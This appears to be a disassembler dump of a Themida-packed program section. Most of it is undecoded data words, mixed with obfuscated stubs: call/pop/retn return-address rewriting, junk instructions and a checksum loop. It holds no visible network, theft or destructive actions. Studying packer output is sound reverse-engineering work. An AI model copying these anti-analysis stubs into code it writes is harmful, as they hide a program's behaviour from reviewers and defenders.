		dd 47000000h, 9E03C357h, 0E9A20F56h, 0B509193Eh, 7FA1CA5h
		dd 1D9595FFh, 8D0F07FAh, 6, 68DBD0Bh, 0BD8307FAh, 7FA0131h
		dd 20840F00h, 0E9000000h, 7, 317A2EA2h,	5013495Fh, 48F0Fh
		dd 0BF660000h, 34890E2Ah, 59958924h, 0FF07FA2Ch, 0FDEB96B5h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 8B28D55Ch, 0FA215DBDh, 0B595FF07h, 6607FA1Ch
		dd 0B5FFDE8Bh, 7FDEB96h, 21AD95FFh, 6A07FAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D5D162C3h
		dd 0FB1CBCBh, 21BD83D7h, 207FA22h, 7D840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0B6035DC3h, 4179F87Dh, 9E89Ah, 78CB0000h, 0E5628B55h
		dd 0E85AC534h, 6, 3634406Ah, 81667919h,	5BA1A3F7h, 0F1BD235Fh
		dd 8B07FA00h, 0FA161585h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 90A885B5h
		dd 0BEF85C63h, 0C67069h, 85B52900h, 0C707FA01h,	0FA16DD85h
		dd 7, 35BD8B00h, 0E907FA14h, 0FFFFF2CEh, 5E951h, 6E490000h
		dd 5B56BE2Fh, 0AE8C18Bh, 0AA000000h, 57E9ED14h,	95BD5222h
		dd 619D0326h, 5B07FA06h, 199858Dh, 6A07FAh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 20F6D7C3h
		dd 896B2314h, 0FA2109BDh, 0D88B5007h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 7958C357h, 0C2698E1h, 0FA4C1BECh, 21A98501h,	6A07FAh
		dd 5800Fh, 62BB0000h, 6A64F34Eh, 0B99D8B00h, 8D07FA18h
		dd 0FEB5E285h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 6DE5AB9h, 0F6045AEh, 9D03FFBFh
		dd 7FA2A75h, 5C08361h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 73C35545h, 8EC9E158h,	0BD8B40FAh, 7FA1575h
		dd 90F88B66h, 7581BF66h, 0BE850h, 0D7D70000h, 94416B5Eh
		dd 1ABC78ACh, 3810FECh,	66000000h, 905BDF8Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 37C35646h, 0E28CCAE8h
		dd 89D94EDFh, 0FA259985h, 6AFC07h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 8DC35343h, 0FDD8B6A4h, 383EA6CCh
		dd 0EE9006Ah, 0E0000000h, 0F3E7F8ABh, 0AED9F8DDh, 0BD9F56h
		dd 0E995FF19h, 0F907FA2Bh, 0D7118D8Dh, 8B6607FDh, 6AD1FFD9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 4B59C350h, 33EDBD83h, 0F0107FAh, 7A85h, 0CE900h
		dd 6600000h, 7BC9B448h,	5C3058ECh, 0DA8BCB37h, 8B66026Ah
		dd 0D98B50FBh, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 5423C357h, 30C4325Fh
		dd 11E815A8h, 0E000000h, 594A5561h, 0AFFAB7FEh,	84685A7Bh
		dd 0F21B4A1Fh, 0AE8h, 23D5F900h, 491A83FAh, 0F450480h
		dd 82h,	0F55B5B00h, 1C9595FFh, 0EEBB07FAh, 0E939E4AEh
		dd 0E6Bh, 0E8h,	0ED815D00h, 7FEB5ECh, 5DCC381h,	6A14F8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0BB3F27C3h
		dd 0B959858Dh, 6A07FDh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 2C6C41C3h, 91CA5741h, 80F98B64h
		dd 8B66B5DBh, 8A0F90FAh, 2, 665041B7h, 902BC1BFh, 64DBCB80h
		dd 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8964F8C3h, 25h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 91DAF572h, 104985FFh, 6A07FAh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0C654BCC3h, 0EFE14682h
		dd 2D3DBD8Bh, 0FF6A07FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0CC35646h, 7453DB4h, 9CF8166h, 0FE8B66C4h
		dd 0D31B5FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 709E15C3h, 896288Dh, 9D8BFF0Dh
		dd 7FA1671h, 29999D89h,	95FF07FAh, 7FA2875h, 0F7E9h, 71958900h
		dd 0B007FA2Dh, 0C1F78100h, 0E654BAFDh, 0DA8B6670h, 0BD8B71E4h
		dd 7FA2BEDh, 830F613Ch,	0D4h, 253D9D0Bh, 0F38107FAh, 1E294E31h
		dd 29C8B60Fh, 0FA0FF1BDh, 0A59D8907h, 0BA07FA15h, 6, 0C18BFB8Bh
		dd 8E9h, 91D74000h, 0A3C1C1EFh,	4E8C174h, 81E2F766h, 794CB4D3h
		dd 66C82B16h, 3AF2C781h, 0F380D18Bh, 6E9A1h, 95890000h
		dd 7FA183Dh, 0E9D858Bh,	9D2307FAh, 7FA0E09h, 8A07C083h
		dd 0C083FDh, 3165BD8Bh,	0D03B07FAh, 23830Fh, 0DE90000h
		dd 0CC000000h, 3594B863h, 14428D92h, 0E4ED9185h, 47E9h
		dd 68E0F00h, 29000000h,	0FA291D9Dh, 0C58D8B07h,	0F07FA0Ch
		dd 685h, 61B58900h, 8307FA22h, 840F01E1h, 20h, 0CC5A583h
		dd 50FE07FAh, 898D01h, 895B07FAh, 0FA0E9D95h, 0F18D8907h
		dd 0E907FA30h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7FE38EDh]
		push	0
		push	ebp
		call	sub_5CEC85
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEC85	proc near		; CODE XREF: Themida_:005CEC7Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5CEC85	endp

; ---------------------------------------------------------------------------
		db 74h,	91h, 0EEh
		dd 45236EF5h, 0E95BD8Bh, 6A07FAh, 17CD8529h, 0B52907FAh
		dd 7FA247Dh, 101995FFh,	6A07FAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 8AB97BC3h, 2591BD8Bh
		dd 4DB907FAh, 6A000008h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0B7CEC350h,	9B7A34Ah
		dd 0F9A06C2h, 482h, 61606000h, 0FCE18361h, 6F38166h, 6AFCCEh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0B8C7EBC3h, 0E8F5C5E8h, 0Ah,	0B6FC9B06h, 3D0352C0h
		dd 880FB14Ah, 6, 24B19D8Bh, 0B85B07FAh,	0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5CED63
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CED63	proc near		; CODE XREF: Themida_:005CED5Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5CED63	endp

; ---------------------------------------------------------------------------
		db 0C8h
; ---------------------------------------------------------------------------
		jg	loc_5CED88
		pusha
		mov	esi, [ebp+7FA187Dh]
		mov	[ebp+7FA25D1h],	esi
		popa


loc_5CED88:				; CODE XREF: Themida_:005CED74j
		sub	edx, edx
		mov	[ebp+7FA2A0Dh],	eax


loc_5CED90:				; CODE XREF: Themida_:005CED9Aj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5CED90
		cmc
		xor	[ebp+7FA06A9h],	ecx
		or	eax, 88h
		xor	edi, 28B8F952h
		mov	edx, [ebp+7FA1CD9h]
		push	0
		push	esi
		call	sub_5CEDBF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEDBF	proc near		; CODE XREF: Themida_:005CEDB7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5CEDBF	endp

; ---------------------------------------------------------------------------
		scasd
		enter	22A6h, 8Bh
		inc	ecx
		sbb	ebx, 5B6D0D49h
		mov	ecx, [ebp+7FA31ADh]
		mov	bh, 0BFh
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		push	0
		push	edx
		call	sub_5CEE00
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEE00	proc near		; CODE XREF: Themida_:005CEDF8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5CEE00	endp

; ---------------------------------------------------------------------------
		dd 46113E31h, 6A0CEBFh,	7EBF6608h, 29BD835Ch, 7FA2Ah, 94840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 16EC3C3h,	11BD8B18h, 0F07FA25h, 789h, 1870F00h
		dd 0F9000000h, 0B8h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 4FCF938Ch, 8DFCB21Dh
		dd 0FA4F668Dh, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0DEF25B83h, 890F0DAEh
		dd 6, 27819D8Bh, 0E1FF07FAh, 1C259589h,	0BD8307FAh, 7FA2BD9h
		dd 5B840F00h, 66000004h, 0BD83D98Bh, 7FA2BD9h, 66840F01h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 4D6FC355h, 890F6025h, 2, 810F6160h
		dd 4, 0CB1B966h, 0D9BD8361h, 307FA2Bh, 3F1860Fh, 0BF660000h
		dd 85895DEFh, 7FA02CDh,	56006A60h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0BD8B72B9h, 7FA23FDh
		dd 0C859D89h, 8C6607FAh, 5E9D9h, 38D60000h, 80E2365Fh
		dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 22C6F4C3h, 0EB0BDBEBh, 0C90A1E22h, 13A840Fh
		dd 0FAB70000h, 0FE9858Bh, 8E907FAh, 86000000h, 0E91E6A4Fh
		dd 33E333A2h, 0FA15E185h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 8D8F30A1h
		dd 810C515Dh, 0B609F6D3h, 4FEF816Eh, 9006CEF9h,	0FE9h
		dd 620DBD00h, 83A65B47h, 0F65802E6h, 0D4284B13h, 9E950h
		dd 64640000h, 1002EE54h, 901BC8EAh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 58C35646h, 16DA5EDh, 0FA146995h
		dd 0E8006A07h, 5, 0AC1AFCDFh, 6890F06h,	31000000h, 0FA0E15B5h
		dd 9D8B5B07h, 7FA2761h,	4E8h, 1F03FF00h, 0D98B5000h, 424448Bh
		dd 0BF66008Bh, 4489E783h, 0BF660424h, 6A58BC12h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0B43C352h, 0E3800E13h, 0E995FF03h, 6A07FA1Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0B034C350h, 8589F8EAh, 7FDEB96h, 9E9h, 4F68CB00h, 0B9A04F9Ch
		dd 0C1E92471h, 66000001h, 0BD0BFB8Bh, 7FA2C25h,	0EB8E858Bh
		dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 2F74AEC3h, 23E97164h, 66B5892Eh, 547CEF81h
		dd 1800C7h, 8D0F0000h, 6, 261D9D8Bh, 0B58B07FAh, 7FDEB92h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0F0C35040h
		dd 39BD8BF2h, 8B07FA08h, 0FA0D5185h, 0CE807h, 96380000h
		dd 163B9318h, 0ACA4D37Bh, 5FF8E9E8h, 7D3DBF66h,	6A0689h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0BF0F28C3h, 0E9858BDBh, 6A07FA0Fh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B0DFC351h
		dd 0FC7236EFh, 0C19D8B3Fh, 8907FA21h, 6A0446h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 95337CC3h, 63D5B97Ch, 55858913h, 9607FA07h, 0FE8B6650h
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 6BB8E070h, 2BD1C04Bh, 0BD8BB1B5h, 7FA22A1h
		dd 0EB8EB5FFh, 0EE807FDh, 4E000000h, 0CFF130E3h, 12217CDDh
		dd 5D4C5492h, 184EBBDAh, 685B6839h, 0B28A4120h,	81D88B66h
		dd 0C2DF2404h, 0BF664D94h, 858D6743h, 7FDEB96h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0F5C35040h, 2953FA9Ah
		dd 0FA16BD85h, 0E9505F07h, 11h,	5B49178Eh, 94063450h, 39D8320Bh
		dd 137A00C8h, 2404894Fh, 0FFB9C780h, 0FA1CE995h, 0D88B6607h
		dd 52006A61h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0F092B60Eh, 5BEFC63h, 85C70232h,	7FA2BD9h
		dd 3, 0E7D9589h, 0BD8307FAh, 7FDEB96h, 4C840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 2631C353h, 0F9E9775Bh, 69C902D1h,	3DE9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0F1858905h, 5007FA28h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 599F12C3h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0AAC35747h
		dd 0D9BD8334h, 307FA2Bh, 4B8850Fh, 0D0B30000h, 0EB96BD83h
		dd 0F0007FDh, 4A984h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0ECB22988h, 92221741h
		dd 8B667984h, 96B5FFDFh, 6A07FDEBh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7488C353h
		dd 4595FF91h, 0F07FA27h, 81h, 0C7C78100h, 8B3FA126h, 0FDEB8AB5h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 47E333A2h, 44395C32h, 0FE8h, 0F2EF6C00h
		dd 5B7A780Ah, 1B67A72Bh, 0ABBF3939h, 5FFFB70Fh,	106C7h
		dd 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 505089C3h, 28A0F52h, 53000000h, 60310F5Fh
		dd 932CB6BBh, 0CE871h, 0BBE30000h, 12FB4977h, 7C46A794h
		dd 615E1640h, 3489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0B6282D7Fh, 0F51B2304h
		dd 0FD9D8B09h, 0FF07FA21h, 0FDEB96B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 202C3D05h, 14E8h, 0F6CFC400h, 1B49D7C8h, 1A2861CBh
		dd 184E9C00h, 0D87E9E9Bh, 9D295F35h, 7FA001Dh, 18E195FFh
		dd 0EE907FAh, 87000000h, 497FD651h, 5B5DFFF3h, 51A93604h
		dd 8AB58BA0h, 6A07FDEBh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 11AEC357h, 99028116h
		dd 3FA091Fh, 0FA20559Dh, 7D858B07h, 6A07FA1Ch, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0F429C351h, 92BF6613h, 0C486894Ah, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 92E1C355h, 25326681h, 1EE1C7CAh, 0F258589h, 0BD2B07FAh
		dd 7FA0305h, 1CD9958Bh,	0E38107FAh, 3850A251h, 195DE781h
		dd 0C28371F2h, 89FE8B04h, 6A2050h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0A71A99C3h, 0DF9A483Ch
		dd 8D0CB1B6h, 0FDFEF785h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 9D8B548Bh, 7FA0139h, 0B88689h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0AE9575C3h, 4D20C59Ah, 17959501h, 6A07FAh, 29119529h
		dd 0B5FF07FAh, 7FDEB96h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 50C35242h, 81668319h,	0FF4A83F7h, 0FA1C9595h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 95899A6Ah, 7FA18FDh, 52506096h, 7DB9E9BAh
		dd 0F310F3Bh, 8Ch, 8A585A00h, 665061D7h, 6A96D88Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 64B3C350h, 9D8BB4B5h, 7FA14B1h, 0EB96B5FFh, 6A07FDh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 89EE7DC3h, 26395E75h, 4A54E381h, 0C5B77384h,	1D9595FFh
		dd 860F07FAh, 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7FA0131h], 0
		jz	loc_5CF773
		push	0
		push	edx
		call	sub_5CF73C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF73C	proc near		; CODE XREF: Themida_:005CF734p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CF73C	endp

; ---------------------------------------------------------------------------
		dd 37FED928h, 370DB02Dh, 0DE85072h, 0E000000h, 1B6EBD75h
		dd 0EF368256h, 0F0DEBC1Ch, 895BDF8Bh, 85BB2434h
		db 7Dh,	0Ah, 43h
; ---------------------------------------------------------------------------


loc_5CF773:				; CODE XREF: Themida_:005CF72Bj
		push	dword ptr [ebp+7FDEB96h]
		jb	loc_5CF789
		pusha
		mov	ecx, [ebp+7FA1DADh]
		pusha
		popa
		popa


loc_5CF789:				; CODE XREF: Themida_:005CF779j
		call	dword ptr [ebp+7FA1CB5h]
		jb	$+6
		sbb	edi, 33CC0885h
		push	dword ptr [ebp+7FDEB96h]
		add	ebx, 476BF757h
		xor	[ebp+7FA1895h],	ecx
		call	dword ptr [ebp+7FA21ADh]
		push	0
		push	ebx
		call	sub_5CF7BE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF7BE	proc near		; CODE XREF: Themida_:005CF7B6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5CF7BE	endp

; ---------------------------------------------------------------------------
		dw 5D7Fh
		dd 21BD83DBh, 207FA22h,	48840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FDC41C3h
		dd 68Fh, 0FD9D0300h, 8B07FA2Eh,	0FA161585h, 5E807h, 0D8EA0000h
		dd 8B6C6C81h, 0FA08859Dh, 0C65B07h, 0DAD0BB00h,	85C721DEh
		dd 7FA16DDh, 0
		dd 12E8h, 324D2A00h, 5A95195Ah,	34D64402h, 0D36C2E7Ch
		dd 0FE22247h, 108Fh, 0BE900h, 0BDC70000h, 64C65EB8h, 0EA03719Eh
		dd 0AFE95BD9h, 6AFFFFF2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 4DCBC357h, 203DB149h
		dd 81660355h, 8BB5B6F3h, 2DBD8BC1h, 8D07FA16h, 0FA019985h
		dd 0B9BD0307h, 5007FA0Dh, 0C860Fh, 52500000h, 595BF66h
		dd 6160310Fh, 489585Ah,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BD8BCF9Bh, 7FA1EA5h
		dd 6AFB8Bh, 8BDE8B60h, 0FA0AE9BDh, 6A6107h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F0C35343h, 88858DE8h
		dd 6A07FEC6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 3642C355h, 3B6787AFh, 9D8B1DCAh
		dd 7FA1001h, 6A05C083h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 50A0C355h, 11E9h, 0EB792200h
		dd 0E96E9B88h, 0B860D992h, 77D699EBh, 4896FFAh,	0F8B70F24h
		dd 9D89006Ah, 7FA0091h,	6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 2D5FEC3h, 55478CA5h
		dd 0FF2FAE50h, 0FA2BE995h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0A5B589FCh
		dd 8D07FA34h, 0FDD7118Dh, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 25DC147Bh
		dd 0AF18534h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0FF04C2C3h, 6860F64h, 89000000h
		dd 0FA00BD85h, 0EDBD8307h, 107FA33h, 9F850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 5D1912C3h, 13C51F05h, 26A9F00h, 0C0EF8166h, 840F9094h
		dd 0
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_5CFA73
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 4
		dd 757DF527h, 0F925FBEAh, 8B7871A5h
		db 7, 0C5h, 4Bh
; ---------------------------------------------------------------------------


loc_5CFA73:				; CODE XREF: Themida_:005CFA5Dj
		nop
		push	0
		push	esi
		call	sub_5CFA7F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFA7F	proc near		; CODE XREF: Themida_:005CFA77p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5CFA7F	endp

; ---------------------------------------------------------------------------
		db 66h
		dd 256B92F3h, 0D7815FE9h, 66F0E997h, 1C9595FFh,	6A07FAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8BE851C3h, 0FA15B9BDh, 0BBB6607h, 0DCAE979h,	0E80000h
		dd 5D000000h, 0C692ED81h, 0FB8B07FEh, 6ADABF0Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0FD7AC351h, 40145F26h, 6659123Eh, 307CEB81h,	0B959858Dh
		dd 5E807FDh, 1E000000h,	3C270157h, 905BFA8Bh, 50FB8B66h
		dd 0F9083B3h, 687h, 499D8B00h, 6407FA11h, 35FFh, 0BD890000h
		dd 7FA32A5h, 258964h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0FF46C357h,	0FA104985h
		dd 6AFF6A07h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 9CCDC350h, 0A0394045h,	0C840Fh
		dd 8A0F0000h, 6, 351D9589h, 0B5FF07FAh,	7FA2515h, 0FFFE8B66h
		dd 0FA287595h, 151E907h, 0BD8B0000h, 7FA1789h, 0D78100B0h
		dd 5F3941Ch, 0F9B370E6h, 816671E4h, 3C10DFD7h, 30830F61h
		dd 81000001h, 356102C3h, 0C8B60F06h, 7E8h, 11533D00h, 5626B81h
		dd 7E8h, 0FF30B100h, 6E3956F0h,	6BA5F5Bh, 0E9000000h, 0Dh
		dd 0F67A356Ch, 691B77CDh, 19F4A6Bh, 0FC18BDFh, 286h, 0C1F88B00h
		dd 0F6004E8h, 284h, 61595000h, 60E2F766h, 13E9h, 5A79D300h
		dd 42A4D91Eh, 1EFE8E05h, 0AC131155h, 90E58669h,	0DE9h
		dd 0A6E84300h, 350BCDC2h, 3AB4234Fh, 2B61FCF8h,	0F1D781C8h
		dd 8B5982E3h, 0F98529D1h, 0E907FA2Eh, 12h, 7E9h, 8E65900h
		dd 0F9B3EA7Dh, 810Fh, 858B0000h, 7FA213Dh, 839EF780h, 13E807C0h
		dd 85000000h, 0A6BF5E03h, 0D572997Fh, 0D247C36Eh, 0C2E2C11Eh
		dd 9D89E0B1h, 7FA2039h,	0C0835Fh, 830FD03Bh, 11h, 67D9589h
		dd 48E907FAh, 60000000h, 8C75B866h, 218D8B61h, 0E907FA05h
		dd 0Bh,	0B2EBBBF7h, 0A48C34A6h,	835D0F17h, 840F01E1h, 23h
		dd 0B319D89h, 0A58307FAh, 7FA0521h, 0D38166FEh,	95897EEDh
		dd 7FA213Dh, 0A69BD09h,	0E907FAh, 8D000000h, 0FE4352B5h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 9964971Ch, 2860F99h, 8B000000h, 6A006AF9h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 12C351h, 5DB22064h, 7281E650h, 1995FFF5h
		dd 6A07FA10h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 4AE3C352h, 5757C467h, 0F9BBA910h
		dd 0DF22E781h, 0AFB91C21h, 0E8000007h, 6, 505A3E0h, 13E97A37h
		dd 0A000000h, 0E6C9091Ch, 190201B8h, 94A6122Dh,	0DEDC176Bh
		dd 835B5610h, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0BBAAF2C3h, 89BED05Ch, 0FA18A18Dh
		dd 0A159BB07h, 0FFC424Ch, 1082h, 0BE900h, 0AF380000h, 7887EA09h
		dd 0F63173D1h, 0B88Ah, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0B5018FC3h, 7FA1E39h
		dd 0FBA5E381h, 0D22B01BEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 1DC35343h, 0FD4069EEh, 0E9687724h, 0Ah
		dd 215CBA9Ah, 588A4D72h, 33ADC86Eh, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0BE7B93C3h, 6655D380h, 8199D1BBh,	9C96E8E7h
		dd 57006A0Eh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 4830A457h, 6D92D50Eh, 10E9h, 0F1258300h
		dd 0D08338AAh, 0CF7D779Fh, 0ED93CA09h, 699D33BEh, 0D07FA2Dh
		dd 88h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h
		dd 8AC35343h, 2915B531h, 958B07FAh, 7FA1CD9h, 0D830Fh
		dd 66600000h, 91FCEF81h, 1CB1958Bh, 8B6107FAh, 0FA31AD8Dh
		dd 719D3307h, 5007FA21h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 0C6DF8058h, 0D9B70F50h, 29BD835Fh, 7FA2Ah
		dd 36840Fh, 6B30000h, 0B8h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 8DCCB7B7h
